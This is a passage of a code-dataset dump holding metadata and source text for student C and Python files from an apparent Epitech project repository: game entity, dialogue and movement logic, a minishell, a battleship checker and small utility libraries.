% 16) >= 10)\n exception_hexa_long(i % 16);\n else\n my_put_nbr(i % 16);\n}" }, { "alpha_fraction": 0.6061185598373413, "alphanum_fraction": 0.609942615032196, "avg_line_length": 26.526315689086914, "blob_id": "540cb894e450887b2612fdcd743caa33cf48a068", "content_id": "e550384ddf51e2e60deedcb9fe0160af5419da8a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1569, "license_type": "no_license", "max_line_length": 78, "num_lines": 57, "path": "/tek1/Game/MUL_my_defender_2019/lib/game/entity2.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2020\n** libgame\n** File description:\n** entity2\n*/\n\n#include \"game.h\"\n#include <stdlib.h>\n\ndictionary_t *imp_add_anim(dictionary_t *animations, sfSprite *sprite,\n animation_t *a, char *name)\n{\n a->sprite = sprite;\n animations = dict_add(animations, name, a);\n return animations;\n}\n\ndouble entity_distance(entity_t *a, entity_t *b)\n{\n return distance(sfSprite_getPosition(a->sprite),\n sfSprite_getPosition(b->sprite));\n}\n\nvoid parse_hitbox(entity_t *e, linked_list_t *obj)\n{\n hitbox_t *hitbox;\n sfFloatRect box;\n sfIntRect size = sfSprite_getTextureRect(e->sprite);\n\n for (linked_list_t *i = obj; i; i = i->next) {\n hitbox = malloc(sizeof(hitbox_t));\n box = float_rect_from_ll(dict_get(i->data, \"rect\"));\n box.left *= size.width;\n box.width *= size.width;\n box.top *= size.height;\n box.height *= size.height;\n hitbox->entity = e;\n hitbox->box = box;\n hitbox->type = hitbox_type(dict_get(i->data, \"type\"));\n e->hitbox = ll_append(e->hitbox, hitbox);\n }\n}\n\nlinked_list_t *check_all_collisions(entity_t *e, char *name,\n dictionary_t *entities, linked_list_t *layers)\n{\n linked_list_t *collisions = 0;\n\n for (dictionary_t *i = entities; i; i = i->next) {\n if (my_strcmp(i->index, name))\n collisions = ll_concat(collisions, check_entity_coll(e, i->data));\n }\n for (linked_list_t *i = layers; i; i = i->next)\n collisions = ll_concat(collisions, check_layer_collision(e, i->data));\n return collisions;\n}\n" }, { "alpha_fraction": 0.4595918357372284, "alphanum_fraction": 0.5061224699020386, "avg_line_length": 25.65217399597168, "blob_id": "e3bbf33aaa37a0d99659d4cdde8fe9aaa596a1c3", "content_id": "dc206ad0f7a0a6174b56d5f33258a628c7e78b89", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1225, "license_type": "no_license", "max_line_length": 75, "num_lines": 46, "path": "/tek1/Mathématique/105torus_2019/105torus", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n##\n## EPITECH PROJECT, 2019\n## 105torus_2019\n## File description:\n## Clement Fleur | Arthur Perrot\n##\n\nimport math\nimport sys\n\ndef basic_function(x):\n a0 = sys.argv[2]\n a1 = sys.argv[3]\n a2 = sys.argv[4]\n a3 = sys.argv[5]\n a4 = sys.argv[6]\n f = (a4 * pow(x, 4)) + (a3 * pow(x, 3)) + (a2 * pow(x, 2))\n f = f + (a1 * pow(x, 1)) + a0\n return (f)\n\ndef help():\n print(\"USAGE\")\n print(\" ./105torus opt a0 a1 a2 a3 a4 n\\n\")\n print(\"DESCRIPTION\")\n print(\" opt method option:\")\n print(\" 1 for the bisection method\")\n print(\" 2 for Newton's method\")\n print(\" 3 for the secant method\")\n print(\" a[0-4] coefficients of the equation\")\n print(\" n precision (the application of the\", end=\"\")\n print(\"polynomial to the solution shoud be smaller than 10^-n)\")\n\ndef main():\n x = 0\n\n if len(sys.argv) == 2 and (sys.argv[1] == \"-h\"):\n help()\n sys.exit(84)\n if (len(sys.argv) != 8):\n print(\"Please check your arguments, or see ./105torus -h for help\")\n sys.exit(84)\n print(basic_function(x))\n\nif __name__ == \"__main__\":\n main()" }, { "alpha_fraction": 0.5060080289840698, "alphanum_fraction": 0.535380482673645, "avg_line_length": 19.83333396911621, "blob_id": "165b6cfd29ecb4d8a5e892ee5076c23a364aa579", "content_id": "ca8042937a0c391623d23f6abed525e1440be9bc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 749, "license_type": "no_license", "max_line_length": 60, "num_lines": 36, "path": "/tek1/Advanced/PSU_minishell2_2019/src/main.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** PSU_minishell2_2019\n** File description:\n** main.c\n*/\n\n#include \"my.h\"\n#include \"shell2.h\"\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\nint main(int ac, char **av, char** envp)\n{\n int checker = 0;\n char *path = \"< \";\n char *pwd;\n char *str;\n char **tab; // = init_function();\n char **order;\n size_t buff_size = 5;\n\n if (my_strcmp(pwd = init_env(envp), \"ERROR84\") == 1) {\n my_putstr(\"Error can't read you're PWD in env var\");\n return 84;\n }\n while (true) {\n my_putstr(pwd);\n my_putstr(\": \");\n if (checker = getline(&str, &buff_size, stdin) < 0)\n return 84;\n order = findcmd(str, my_strlen(str) - 1);\n }\n return 0;\n}" }, { "alpha_fraction": 0.5497006177902222, "alphanum_fraction": 0.5760478973388672, "avg_line_length": 22.22222137451172, "blob_id": "912c97301b57be4bf96d2bdbf3ac40a56a2dfb13", "content_id": "6ad78eb2770ec49cd9db8775baabb98e4d21adb5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 835, "license_type": "no_license", "max_line_length": 76, "num_lines": 36, "path": "/tek1/Game/MUL_my_rpg_2019/lib/game/entity3.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2020\n** MUL_my_rpg_2019\n** File description:\n** entity3\n*/\n\n#include \"rpg.h\"\n\ndictionary_t *sort_entities_step(dictionary_t *entities, int *must_continue)\n{\n entity_t *e1;\n entity_t *e2;\n\n for (int i = 0; i < dict_len(entities) - 1; i++) {\n e1 = ll_get((linked_list_t *) entities, i);\n e2 = ll_get((linked_list_t *) entities, i + 1);\n if (sfSprite_getPosition(e1->sprite).y >\n sfSprite_getPosition(e2->sprite).y) {\n entities = dict_swap(entities, i, i + 1);\n *must_continue = 1;\n }\n }\n return entities;\n}\n\ndictionary_t *sort_entities(dictionary_t *entities)\n{\n int must_continue = 1;\n\n while (must_continue) {\n must_continue = 0;\n entities = sort_entities_step(entities, &must_continue);\n }\n return entities;\n}" }, { "alpha_fraction": 0.5956305265426636, "alphanum_fraction": 0.6078957319259644, "avg_line_length": 34.27027130126953, "blob_id": "b8510124299db3c91f8eb0323ca6848b58a1ea33", "content_id": "9b7cbdd3be96c2fc7336b5d4dc8b5fee6a4f8404", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 2609, "license_type": "no_license", "max_line_length": 79, "num_lines": 74, "path": "/tek1/Game/MUL_my_rpg_2019/src/dialogue/progress.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2020\n** MUL_my_rpg_2019\n** File description:\n** progress\n*/\n\n#include \"rpg.h\"\n\nvoid end_part_rewards(dialogue_t *dial, dialogue_part_t *part, quest_t **quest)\n{\n if (part->quests) {\n *quest = import_quest(part->quests->data);\n (*quest)->given_by = dial->npc;\n (*quest)->file = part->quests->data;\n }\n}\n\nvoid handle_dial_choice(dialogue_t *dial, quest_t **quest,\n int *line_nb, int selected_choice)\n{\n dialogue_part_t *part = dial->progress->part;\n dialogue_line_t *current_line = ll_get(part->lines, *line_nb);\n dialogue_choice_t *choice = ll_get(current_line->choices,\n selected_choice - 1);\n\n if (my_strcmp(choice->go_to, \"\")) {\n end_part_rewards(dial, part, quest);\n dial->progress->part = dict_get(dial->parts, choice->go_to);\n *line_nb = 0;\n } else (*line_nb)++;\n}\n\nint dial_progress(dialogue_t *dial, int selected_choice, quest_t **quest)\n{\n dialogue_progress_t *prog = dial->progress;\n dialogue_part_t *prog_part = prog->part;\n dialogue_line_t *line = ll_get(prog_part->lines, prog->line);\n\n if (line->choices && selected_choice) {\n handle_dial_choice(dial, quest, &(prog->line), selected_choice);\n } else if (!line->choices) prog->line++;\n if (prog->line >= ll_len(prog_part->lines)) {\n end_part_rewards(dial, prog_part, quest);\n *quest = quest_progress(*quest, \"QUEST_TALK\", dial->npc, 1);\n prog->line = 0;\n prog->part = dict_get(dial->parts, dial->default_part);\n return 0;\n }\n return 1;\n}\n\nvoid dialogue_input(dialogue_t **dial, int *selected_choice, quest_t **quest)\n{\n static int interract_pressed = 0;\n static int q_pressed = 1;\n static int d_pressed = 1;\n dialogue_line_t *line = *dial ? ll_get((*dial)->progress->part->lines,\n (*dial)->progress->line) : 0;\n int choices = line && line->choices ? ll_len(line->choices) : 0;\n\n if (sfKeyboard_isKeyPressed(sfKeyQ) && *dial && !q_pressed) {\n *selected_choice -= *selected_choice > 1 ? 1 : 0;\n q_pressed = 1;\n } else if (!sfKeyboard_isKeyPressed(sfKeyQ)) q_pressed = 0;\n if (sfKeyboard_isKeyPressed(sfKeyD) && *dial && !d_pressed) {\n *selected_choice += *selected_choice < min(choices, 4) ? 1 : 0;\n d_pressed = 1;\n } else if (!sfKeyboard_isKeyPressed(sfKeyD)) d_pressed = 0;\n if (sfKeyboard_isKeyPressed(sfKeyE) && *dial && !interract_pressed) {\n if (!dial_progress(*dial, *selected_choice, quest)) *dial = 0;\n interract_pressed = 1;\n } else if (!sfKeyboard_isKeyPressed(sfKeyE)) interract_pressed = 0;\n}" }, { "alpha_fraction": 0.45355191826820374, "alphanum_fraction": 0.5191256999969482, "avg_line_length": 11.266666412353516, "blob_id": "2b5717a9ae3e94976ad5d89b186f2710770193a1", "content_id": "4d3a0c55b481d42c8df8c3cd3e9a754cdcc98fab", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 183, "license_type": "no_license", "max_line_length": 29, "num_lines": 15, "path": "/tek1/Advanced/PSU_navy_2019/lib/isnum.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** PSU_navy_2019\n** File description:\n** isnum.c\n*/\n\n#include \"navy.h\"\n\nint isnum(char c)\n{\n if (c >= '1' && c <= '8')\n return 1;\n return 0;\n}" }, { "alpha_fraction": 0.5083207488059998, "alphanum_fraction": 0.5355522036552429, "avg_line_length": 23.481481552124023, "blob_id": "9d4a897c4d81638c2c7bae51750b616370bfdad8", "content_id": "9bcf92ed42a3c96b78cd0f8f977abd54882e0094", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 661, "license_type": "no_license", "max_line_length": 68, "num_lines": 27, "path": "/tek1/Game/MUL_my_hunter_20192/src/lib/my/my_putdouble.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** my_putdouble\n** File description:\n** Displays a double\n*/\n\n#include \"my.h\"\n\nint my_putdouble(double d, int decimals)\n{\n int power_of_ten = get_power_of_ten(decimals);\n int must_be_rounded_up = (int)(d * power_of_ten * 10) % 10 >= 5;\n int digits = (int)(d * power_of_ten) % power_of_ten;\n int i = digits;\n\n my_put_nbr(decimals == 0 ? d + must_be_rounded_up : d);\n if (decimals != 0) {\n my_putchar('.');\n while (decimals > get_number_of_digits(i)) {\n my_putchar('0');\n i = i == 0 ? 10 : i * 10;\n }\n my_put_nbr(digits + must_be_rounded_up);\n }\n return (0);\n}\n" }, { "alpha_fraction": 0.6803014278411865, "alphanum_fraction": 0.6889128088951111, "avg_line_length": 22.820512771606445, "blob_id": "ecd49ad2fc0c00de471551fd0b8c790bac1d6246", "content_id": "cfe88b2aa5083d873e23688cf6630ee79fa650f2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 929, "license_type": "no_license", "max_line_length": 54, "num_lines": 39, "path": "/tek1/Functionnal/CPE_corewar_2019/include/phoenix.h", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** folder\n** File description:\n** my.h\n*/\n\nint is_prime_number(int nb);\nvoid my_putchar (char c);\nchar *my_strcpy(char *dest, char const *src);\nint my_strlen(char const *str);\nint my_strcmp(char const *s1, char const *s2);\nint my_strncmp(char const *s1, char const *s2, int n);\nchar *my_strstr (char *str, char const *to_find);\nchar * my_revstr(char *str);\nint my_putnbr (int nb);\nint my_putstr(char const *str);\nint to_number(char const *str);\nchar *concat_strings (char *dest, char const *src);\nint sorted_params (int ac, char **av);\nint show_params (int ac, char **av);\nint my_getnbr (char const *str);\n//Lists\ntypedef struct Element Element;\nstruct Element\n{\n int number;\n Element *next;\n};\n\ntypedef struct List List;\nstruct List\n{\n Element *first;\n};\nList *init_list(void);\nint add_first_element(List *list, int new_number);\nint delete_element(List *list);\nint display_list(List *list);\n" }, { "alpha_fraction": 0.44192636013031006, "alphanum_fraction": 0.49575069546699524, "avg_line_length": 15.857142448425293, "blob_id": "1b6789739091bfe55fe1a4f11be15092053a54ed", "content_id": "0983716886eee70a934cfcb1531f5ad78612dbf2", "detected_licenses": [], "is_generated": false, "is_vendor": true, "language": "C", "length_bytes": 353, "license_type": "no_license", "max_line_length": 60, "num_lines": 21, "path": "/tek1/Advanced/PSU_minishell2_2019/src/env/env.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** PSU_minishell2_2019\n** File description:\n** env.c\n*/\n\n#include \"shell2.h\"\n\nchar *init_env(char **env2)\n{\n char **env;\n char *pwd;\n\n for(env=env2;*env!=0;env++) {\n pwd = *env;\n if (pwd[0] == 'P' && pwd[1] == 'W' && pwd[2] == 'D')\n return my_argselect(pwd, 4);\n }\n return \"ERROR84\";\n}" }, { "alpha_fraction": 0.38243627548217773, "alphanum_fraction": 0.4135977327823639, "avg_line_length": 13.15999984741211, "blob_id": "ad8481e6f8f2c33315397def949558361db41721", "content_id": "395de068e738e045ff913d64cbbde5fb8f684587", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 353, "license_type": "no_license", "max_line_length": 31, "num_lines": 25, "path": "/tek1/Advanced/PSU_minishell2_2019/lib/my/my_strlenpipe.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** CPE_matchstick_2019\n** File description:\n** my_strlenpipe.c\n*/\n\n#include \"my.h\"\n\nint my_strlenpipe(char *str)\n{\n int i = 0;\n int p = 0;\n\n while (str[i] != '|')\n i++;\n if (str[i] == '|') {\n while (str[i] == '|') {\n p++;\n i++;\n }\n return p;\n }\n return 0;\n}" }, { "alpha_fraction": 0.6167883276939392, "alphanum_fraction": 0.6313868761062622, "avg_line_length": 13.421052932739258, "blob_id": "9a9eb3f654fd6a4f76626f0f52a4150a2775b846", "content_id": "b089c319f00db7dcc512c826b04361fc2e04db01", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 274, "license_type": "no_license", "max_line_length": 50, "num_lines": 19, "path": "/tek1/Piscine/CPool_Day11_2019/include/mylist.h", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** list\n** File description:\n** by clement fleur\n*/\n\n#ifndef LIST_H_\n# define LIST_H_\n\ntypedef struct linked_list\n{\n void *data;\n struct linked_list *next;\n} linked_list_t;\n\nlinked_list_t *my_params_to_list(char *const *av);\n\n#endif /*!LIST_H_ */\n" }, { "alpha_fraction": 0.5639344453811646, "alphanum_fraction": 0.5803278684616089, "avg_line_length": 18.70967674255371, "blob_id": "de0811e5619571c806f899860bb4fca188e86357", "content_id": "b2661b3dc9bd58baf8a273e3c82ab4f631626989", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 610, "license_type": "no_license", "max_line_length": 73, "num_lines": 31, "path": "/tek1/Game/MUL_my_rpg_2019/lib/tools/my_read_file.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** Epitech\n** File description:\n** my_f_get_content\n*/\n\n#include <sys/stat.h>\n#include <stdlib.h>\n#include <fcntl.h>\n#include <unistd.h>\n\nchar *read_file(char *filepath)\n{\n char *buff;\n int offset = 0;\n int len;\n int file;\n struct stat stats;\n\n file = open(filepath, O_RDONLY);\n if (file == -1)\n return 0;\n stat(filepath, &stats);\n buff = malloc(sizeof(char) * (stats.st_size + 1));\n while ((len = read(file, buff + offset, stats.st_size - offset)) > 0)\n offset = offset + len;\n buff[offset] = '\\0';\n close(file);\n return buff;\n}" }, { "alpha_fraction": 0.3507556617259979, "alphanum_fraction": 0.375944584608078, "avg_line_length": 17.22988510131836, "blob_id": "18241240fba94f9a455924b2ef42806fb7ce60dc", "content_id": "733ed744a9782dfba270f765573d43b9c3608d7d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1588, "license_type": "no_license", "max_line_length": 67, "num_lines": 87, "path": "/tek1/Piscine/CPool_evalexpr_2019/eval_expr.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** eval_expr\n** File description:\n** eval_expr.c\n*/\n\n#include \"expr.h\"\n\nint parseint(char **ps, int nbr)\n{\n int signe;\n\n nbr = 0;\n signe = 1;\n if ((*ps)[0] == '+' || (*ps)[0] == '-') {\n if ((*ps)[0] == '-')\n signe = -1;\n *ps = *ps + 1;\n }\n if ((*ps)[0] == '(') {\n *ps = *ps + 1;\n nbr = check(ps);\n if ((*ps)[0] == ')')\n *ps = *ps + 1;\n return (signe * nbr);\n }\n while('0' <= (*ps)[0] && (*ps)[0] <= '9') {\n nbr = (nbr * 10) + (*ps)[0] - '0';\n *ps = *ps + 1;\n }\n return (signe * nbr);\n}\n\nint check(char **ps)\n{\n int lhs;\n int rhs;\n char op;\n int nbr;\n\n lhs = parseint(ps, nbr);\n while ((*ps)[0] != '\\0' && (*ps)[0] != ')') {\n op = (*ps)[0];\n *ps = *ps + 1;\n if (op == '+' || op == '-')\n rhs = operator(ps);\n else\n rhs = parseint(ps, nbr);\n lhs = do_op(lhs, rhs, op);\n }\n return (lhs);\n}\n\nint operator(char **ps)\n{\n int lhs;\n int rhs;\n char op;\n int nbr;\n\n lhs = parseint(ps, nbr);\n while ((*ps)[0] == '*' || (*ps)[0] == '/' || (*ps)[0] == '%') {\n op = (*ps)[0];\n *ps = *ps + 1;\n rhs = parseint(ps, nbr);\n lhs = do_op(lhs, rhs, op);\n }\n return (lhs);\n}\n\nint eval_expr(char *str)\n{\n str = suppr_spaces(str);\n if (str[0] == '\\0')\n return (0);\n return (check(&str));\n}\n\nint main(int ac, char **av)\n{\n if (ac > 1) {\n my_put_nbr(eval_expr(av[1]));\n my_putchar('\\n');\n }\n return (0);\n} \n" }, { "alpha_fraction": 0.5471153855323792, "alphanum_fraction": 0.5625, "avg_line_length": 22.133333206176758, "blob_id": "f2da8929188249192964fa7c84383209c7ab611e", "content_id": "406e1a6642ced251b09ae50bb990802b4645fe5c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1040, "license_type": "no_license", "max_line_length": 74, "num_lines": 45, "path": "/tek1/Game/MUL_my_defender_2019/src/quest/progress.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2020\n** MUL_my_rpg_2019\n** File description:\n** progress\n*/\n\n#include \"rpg.h\"\n\nchar *get_next_objective(dictionary_t *objectives, char *current)\n{\n int next = 0;\n\n for (dictionary_t *i = objectives; i; i = i->next) {\n if (next)\n return i->index;\n if (!my_strcmp(i->index, current))\n next = 1;\n }\n return 0;\n}\n\nquest_t *quest_progress(quest_t *quest, char *progress_type, char *target,\n int amount)\n{\n char *obj_name;\n objective_t *obj;\n\n if (!quest) return 0;\n obj_name = quest->objective;\n obj = obj_name ? dict_get(quest->objectives, obj_name) : 0;\n if (!obj) return 0;\n if (!my_strcmp(obj->type, progress_type) && !my_strcmp(obj->target,\n target)) {\n obj->progress += amount;\n }\n if (obj->progress >= obj->nb_required) {\n obj->progress = 0;\n quest->objective = get_next_objective(quest->objectives,\n quest->objective);\n if (!quest->objective)\n return 0;\n }\n return quest;\n}" }, { "alpha_fraction": 0.5849469304084778, "alphanum_fraction": 0.5980637073516846, "avg_line_length": 34.588890075683594, "blob_id": "622c7f1dff872cc8a20b719af79f9e3927d4f48b", "content_id": "92baea4538a8deebf2b2f019b1f326f088923e3d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 3202, "license_type": "no_license", "max_line_length": 80, "num_lines": 90, "path": "/tek1/Game/MUL_my_rpg_2019/src/player/movement.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2020\n** MUL_my_rpg_2019\n** File description:\n** movement\n*/\n\n#include \"rpg.h\"\n#include <stdlib.h>\n\nvoid reset_to_idle(entity_t *player, char **current_animation, int moving,\n int time)\n{\n if (!moving && !my_str_startswith(*current_animation, \"idle\")) {\n *current_animation = my_str_endswith(*current_animation, \"down\") ?\n \"idle_down\" : (my_str_endswith(*current_animation, \"up\") ?\n \"idle_up\" : (my_str_endswith(*current_animation, \"left\") ?\n \"idle_left\" : \"idle_right\"));\n for (dictionary_t *i = player->animations; i; i = i->next)\n stop_animation(player, i->index);\n start_animation(player, *current_animation, time);\n }\n}\n\nvoid player_change_anim(player_move_t pm, char *anim)\n{\n if (!my_strcmp(*pm.current_animation, anim))\n *pm.frame_anim = anim;\n else if (!my_str_startswith(*pm.frame_anim, \"walk\")) {\n *pm.current_animation = anim;\n *pm.frame_anim = anim;\n for (dictionary_t *i = pm.player->animations; i; i = i->next)\n stop_animation(pm.player, i->index);\n start_animation(pm.player, anim, pm.time);\n }\n}\n\nvoid player_move(vector2f_t pos, dictionary_t **gamedata,\n dictionary_t **entities, dialogue_t **current_dial)\n{\n entity_t *player;\n linked_list_t *collisions;\n linked_list_t *layers = dict_get(*gamedata, \"layers\");\n collision_t *c;\n\n player = dict_get(*entities, \"player\");\n sfSprite_move(player->sprite, sv2f(pos.x, pos.y));\n collisions = check_all_collisions(player, \"player\", *entities, layers);\n if (check_collision_type(collisions, HITBOX_WALL)) {\n sfSprite_move(player->sprite, sv2f(-pos.x, -pos.y));\n c = ll_get(collisions, 0);\n *current_dial = c->box2->entity ?\n dialogue_start(c->box2->entity, dict_get(*gamedata, \"quest\")) : 0;\n }\n ll_free(collisions, free);\n}\n\nvoid player_move_check(int key, char *animation, vector2f_t v, player_move_t pm)\n{\n if (sfKeyboard_isKeyPressed(key) && !*pm.dial) {\n *pm.moving = 1;\n player_move(v, pm.gamedata, pm.entities, pm.dial);\n player_change_anim(pm, animation);\n }\n}\n\nvoid player_movement(dictionary_t **gamedata, dictionary_t **entities,\n dialogue_t **dial, int delta)\n{\n static int time = 0;\n static char *c_a = \"idle_down\";\n char *f_a = \"idle_down\";\n int moving = 0;\n vector2f_t speed = {0.0002, 0.0002};\n entity_t *pl = dict_get(*entities, \"player\");\n player_move_t pm = {dial, gamedata, entities, pl, &c_a, &f_a, &moving, 0};\n\n if (!pl) return;\n time += delta;\n pm.time = time;\n if (my_strcmp(dict_get(*gamedata, \"map\"), \"main_menu.map\") != 0 &&\n my_strcmp(dict_get(*gamedata, \"map\"), \"pause_menu.map\") != 0 &&\n my_strcmp(dict_get(*gamedata, \"map\"), \"player_fight.map\") != 0) {\n player_move_check(sfKeyS, \"walk_down\", v2f(0, delta * speed.y), pm);\n player_move_check(sfKeyZ, \"walk_up\", v2f(0, -delta * speed.y), pm);\n player_move_check(sfKeyQ, \"walk_left\", v2f(-delta * speed.x, 0), pm);\n player_move_check(sfKeyD, \"walk_right\", v2f(delta * speed.x, 0), pm);\n reset_to_idle(pl, &c_a, moving, time);\n }\n}" }, { "alpha_fraction": 0.5461538434028625, "alphanum_fraction": 0.6000000238418579, "avg_line_length": 10.818181991577148, "blob_id": "027b8309fe73470e38edab5fbe7d940b6968db39", "content_id": "018112449d5d861f080f2cb59686a0a38d614369", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 130, "license_type": "no_license", "max_line_length": 24, "num_lines": 11, "path": "/tek1/Piscine/CPool_Day09_2019/lib/my/my_is_prime.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** my_is_prime\n** File description:\n** task06 by clement fleur\n*/\n\nint my_is_prime(int nb)\n{\n return 0;\n}\n" }, { "alpha_fraction": 0.7131474018096924, "alphanum_fraction": 0.7184594869613647, "avg_line_length": 26.925926208496094, "blob_id": "db04447ce569570df9e7289a61372d05fdfcd71b", "content_id": "6daf266c906422c5803d5d86b60fcfb58321ec22", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 753, "license_type": "no_license", "max_line_length": 53, "num_lines": 27, "path": "/tek1/Advanced/PSU_navy_2019/includes/my.h", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** my.h\n** File description:\n** lib - mehdi.zehri\n*/\n\nvoid my_putchar(char c);\nint my_put_nbr(int nb);\nint my_putstr(char const *str);\nint my_strlen(char *str);\nint my_getnbr(char *str);\nvoid base(unsigned int i, int b);\nint my_str_isalpha(char const *str);\nvoid my_putnprintable(char const *str);\nint my_str_isprintable(char const *str);\nlong my_put_long(long nb);\nint my_char_isalpha(char str);\nunsigned long my_put_unsigned_long(unsigned long nb);\nunsigned int my_put_unsigned_nbr(unsigned int nb);\nvoid base_hexa(unsigned int i);\nvoid base_hexa_long(unsigned long i);\nvoid base_hexa_upper(unsigned int i);\nvoid base_long(unsigned long i, int b);\nint my_printf(char *str, ...);\nint isnum(char c);\nint char_isalpha(char c);" }, { "alpha_fraction": 0.49534884095191956, "alphanum_fraction": 0.5093023180961609, "avg_line_length": 20.88135528564453, "blob_id": "63243a3374d006a672cc00d379fe72877b48750a", "content_id": "083d3cc2365bc175ba13980d1229475bc8467fd8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1290, "license_type": "no_license", "max_line_length": 72, "num_lines": 59, "path": "/tek1/Advanced/PSU_42sh_2019/src/core/prompt.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2020\n** prompt\n** File description:\n** prompt\n*/\n\n#include \"shell.h\"\n#include <stdio.h>\n\nchar *get_command_line(void)\n{\n char *command_line = NULL;\n size_t n = 0;\n\n if (getline(&command_line, &n, stdin) == -1)\n return 0;\n else\n return command_line;\n}\n\nchar *get_current_dir(dictionary_t *env)\n{\n char *current_dir = dict_get(env, \"PWD\");\n int incr = 0;\n int slash_count = 0;\n int count = 0;\n\n if (current_dir == 0) return 0;\n while (current_dir[incr] != 0) {\n if (current_dir[incr] == '/')\n slash_count++;\n incr++;\n }\n incr = 0;\n while (count < slash_count) {\n if (current_dir[incr] == '/')\n count++;\n incr++;\n }\n return current_dir = (char *) dict_get(env, \"PWD\") + incr;\n}\n\nint display_prompt(dictionary_t *env)\n{\n char *user;\n char *host = read_file(\"/etc/hostname\");\n char *current_dir;\n int length = my_strlen(host) - 1;\n\n if (host)\n host[length] = 0;\n user = dict_get(env, \"USER\");\n current_dir = get_current_dir(env);\n my_printf(\"[%s%s%s %s]%c \", user ? user : \"\",\n user && host ? \"@\" : \"\", host ? host : \"\",\n current_dir ? current_dir : \"\", get_uid(user) == 0 ? '#' : '$');\n return 0;\n}" }, { "alpha_fraction": 0.4672454595565796, "alphanum_fraction": 0.5106551051139832, "avg_line_length": 17.114286422729492, "blob_id": "ea8d41236f651722f60b8a34cd46c78bf403cbe4", "content_id": "cfb9c296d89bf79d1bf3285b0a5eb30d6e9fa2b6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1267, "license_type": "no_license", "max_line_length": 60, "num_lines": 70, "path": "/tek1/Advanced/PSU_navy_2019/sources/error/error_handling.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** PSU_navy_2019\n** File description:\n** error_handling.c\n*/\n\n#include \"navy.h\"\n\nint check_positions(char *buff)\n{\n char **pos = NULL;\n\n if (getnbrlinepos(buff) == 1 || getnbrcolpos(buff) == 1)\n return 1;\n save_pos(buff, &pos);\n free(buff);\n if (check_strpos(pos) == 1)\n return 1;\n if (check_collision(pos) == 1) {\n my_free_tab(pos);\n return 1;\n }\n my_free_tab(pos);\n}\n\nint check_filepos(char *file)\n{\n int fd = 0;\n int result = 0;\n char *buff = malloc(sizeof(char) * 33);\n\n fd = open(file, O_RDONLY);\n if (fd == -1)\n return 1;\n result = read(fd, buff, 33);\n if (result == -1 || result != 32) {\n free(buff);\n return 1;\n }\n buff[32] = '\\0';\n if (check_positions(buff) == 1)\n return 1;\n return 0;\n}\n\nint check_player1(char *file)\n{\n if (check_filepos(file) == 1)\n return 1;\n return 0;\n}\n\nint check_player2(char *file)\n{\n if (check_filepos(file) == 1)\n return 1;\n return 0;\n}\n\nint check_error(int ac, char **av)\n{\n if (ac != 2 && ac != 3)\n return 1;\n if (ac == 2 && check_player1(av[1]) == 1)\n return 1;\n if (ac == 3 && check_player2(av[2]) == 1)\n return 1;\n return 0;\n}" }, { "alpha_fraction": 0.632488489151001, "alphanum_fraction": 0.6532257795333862, "avg_line_length": 30.035715103149414, "blob_id": 